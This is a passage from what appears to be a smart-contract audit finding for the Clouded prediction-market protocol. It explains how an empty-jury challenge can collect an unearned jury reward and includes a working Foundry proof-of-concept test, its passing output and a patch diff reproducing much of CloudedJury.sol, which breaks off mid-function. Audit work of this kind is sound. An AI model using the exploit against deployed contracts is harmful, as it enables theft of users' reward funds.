        tokenReward =  _marketTotalReward / 10 / _totalWinnerOutcomeStakes;
        if (tokenReward > 0) {
            (bool _success, ) = _msgSender.call{value: tokenReward}("");
            require(_success, "Jury refund failed");
        }
    }

Description

selectJury marks juryHasSelected even when the computed jury set is empty or none of the selected stakes has a nonzero revealed outcome. challenge accepts that flag and ownership of an NFT as sufficient eligibility, without requiring a nonzero jury result or recording an outcome asserted by the challenger. When both juryOutcome and votingOutcome are zero, _getResolvedMarketOutcome falls back to Clouded's nonzero winning outcome. The challenger reward branch then treats juryOutcome != _marketOutcome as success, while _getSlashedAndRewardedTokens excludes challenger tokens from slashing and includes them in winnerOutcomeStakes. Consequently, an empty-jury challenge can return the locked NFT and pay the challenger through claimJuryReward despite there being no jury determination to dispute.

Root cause

The protocol treats juryHasSelected and inequality between a sentinel-zero juryOutcome and the resolved outcome as proof of a successful challenge without requiring a valid jury result or a challenger outcome assertion.

Impact

An NFT holder can challenge a market whose jury produced no valid outcome and receive a share of the market's 10% jury reward allocation after fallback settlement. The attacker need not assert or support an alternative outcome, and the challenge can also force the market through the DAO-voting resolution path, delaying finalization.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal attacker = makeAddr("empty-jury-challenger");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        // Wire the manager exactly as the deployed system expects: the manager
        // checks a fixed external governance token address.
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        manager.addToWhitelist(attacker);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(attacker, 100 ether);

        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
        uint256[] memory creatorTokens = jury.getUserTokenIds(creator);
        assertEq(creatorTokens.length, 5, "creator has market collateral");

        vm.prank(attacker);
        jury.mint{value: 3 ether}(1);
        uint256[] memory attackerTokens = jury.getUserTokenIds(attacker);
        assertEq(attackerTokens.length, 1, "attacker has one NFT to challenge with");
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);

        // At zero supply this quote is the exact cost of buying 10 initial shares
        // of outcome #1 through the real Jury -> Clouded createMarket path.
        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will empty jury pay?",
            "This market is used to demonstrate an empty-jury challenge reward.",
            outcomes,
            1,
            collateral,
            1,
            10
        );

        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
        assertEq(clouded.getMarketWinningOutcome(1), outcomeIds[0], "creator buy makes a nonzero fallback winner");
    }

    function test_emptyJuryChallengeGetsUnsubstantiatedReward() public {
        (uint256[] memory outcomeIds, uint256 startAt) = _createMarket();
        uint256 marketId = 1;
        uint256 attackerTokenId = jury.getUserTokenIds(attacker)[0];

        // No one calls stake() or revealOutcome().  The real status machine still
        // enters APPEAL after the market duration plus the one-day jury window.
        vm.warp(startAt + 2 days);
        assertEq(jury.updateMarketStatus(marketId), 2, "market is in APPEAL with no jury results");

        // Vulnerable call #1: selectJury marks juryHasSelected even though there
        // are zero ordinary stakes and therefore no selected juror outcome.
        jury.selectJury(marketId);
        (
            ,
            uint256 challengerTokenCountBefore,
            uint256 revealedAt,
            uint256 challengedAtBefore,
            uint256 marketReveals,
            uint256 juryOutcomeBefore,
            uint256 votingOutcomeBefore,
            ,
            bool juryHasSelected,
            bool marketResolvedBefore
        ) = jury.getMarketStoredInfo(marketId);
        assertTrue(juryHasSelected, "selection flag set despite empty jury");
        assertEq(juryOutcomeBefore, 0, "no jury outcome was produced");
        assertEq(votingOutcomeBefore, 0, "no DAO voting outcome exists");
        assertEq(marketReveals, 0, "no juror revealed");
        assertEq(revealedAt, 0, "no reveal timestamp");
        assertEq(challengerTokenCountBefore, 0, "no challenger before attack");
        assertEq(challengedAtBefore, 0, "not yet challenged");
        assertFalse(marketResolvedBefore, "not resolved before attack");

        uint256 attackerEthBefore = attacker.balance;
        uint256 attackerDaoBefore = dao.balanceOf(attacker);
        uint256 totalReward = clouded.getMarketTotalReward(marketId);
        assertGt(totalReward, 0, "market contains a real reward pool");

        // Vulnerable call #2: challenge accepts only NFT ownership plus the stale
        // juryHasSelected flag.  The attacker never asserts, commits to, or votes
        // for any outcome.
        vm.prank(attacker);
        jury.challenge(marketId, attackerTokenId);
        assertEq(jury.ownerOf(attackerTokenId), address(jury), "challenge NFT locked");
        (, uint256 challengerTokenCount, , uint256 challengedAt, , uint256 juryOutcomeAfterChallenge, uint256 votingOutcomeAfterChallenge, , , ) = jury.getMarketStoredInfo(marketId);
        assertEq(challengerTokenCount, 1, "attacker is counted as challenger");
        assertGt(challengedAt, 0, "challenge timestamp set");
        assertEq(juryOutcomeAfterChallenge, 0, "challenge still has no jury outcome to dispute");
        assertEq(votingOutcomeAfterChallenge, 0, "no DAO votes cast");

        // With no DAO votes, resolution falls back to Clouded's nonzero winning
        // outcome, i.e. the outcome with the most purchased shares.
        vm.warp(block.timestamp + 3 days);
        jury.resolveMarket(marketId);
        (uint256 resolvedOutcome, uint8 status) = jury.getMarketDerivedInfo(marketId);
        assertEq(status, 4, "market settled through challenged path");
        assertEq(resolvedOutcome, clouded.getMarketWinningOutcome(marketId), "zero jury/vote outcome falls back to Clouded winner");
        assertEq(resolvedOutcome, outcomeIds[0], "fallback winner is nonzero");
        (, , , , , uint256 finalJuryOutcome, uint256 finalVotingOutcome, , , bool marketResolved) = jury.getMarketStoredInfo(marketId);
        assertTrue(marketResolved, "market resolved");
        assertEq(finalJuryOutcome, 0, "jury outcome remains the zero sentinel");
        assertEq(finalVotingOutcome, 0, "voting outcome remains the zero sentinel");

        // Vulnerable call #3: because juryOutcome (0) differs from the fallback
        // resolved outcome, claimReward treats the empty challenge as successful.
        uint256[] memory claimTokens = new uint256[](1);
        claimTokens[0] = attackerTokenId;
        vm.prank(attacker);
        jury.claimReward(marketId, claimTokens);

        assertEq(jury.ownerOf(attackerTokenId), attacker, "attacker's challenge NFT is returned, not slashed");
        assertGt(attacker.balance, attackerEthBefore, "attacker received an ETH jury reward for an empty challenge");
        assertEq(attacker.balance - attackerEthBefore, totalReward / 10, "only challenger in denominator receives the full 10% jury allocation");
        assertGt(dao.balanceOf(attacker), attackerDaoBefore, "attacker also receives DAO emission despite no valid jury result");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1171 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_emptyJuryChallengeGetsUnsubstantiatedReward() (gas: 2378698)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.10ms (1.19ms CPU time)

Ran 1 test suite in 14.29ms (3.10ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC ran successfully with strategyId=unit:test-poc-t-sol: forge test --match-path test/Poc.t.sol -vv passed 1/1. The test drives the real public CloudedJury.selectJury, challenge, resolveMarket, and claimReward paths plus real Clouded.claimJuryReward, with zero juror stakes/reveals and zero DAO votes. It asserts the attacker’s NFT is returned and the attacker receives the full 10% jury allocation plus DAO emission from an empty challenge. No limitations beyond the configured harness setup.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Require a nonzero jury determination before accepting a challenge, preventing an empty/no-reveal jury sentinel from authorizing the DAO voting path or challenger rewards.

Patch

diff
diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,647 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
+        if (market.juryOutcome == 0) revert InvalidId();
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
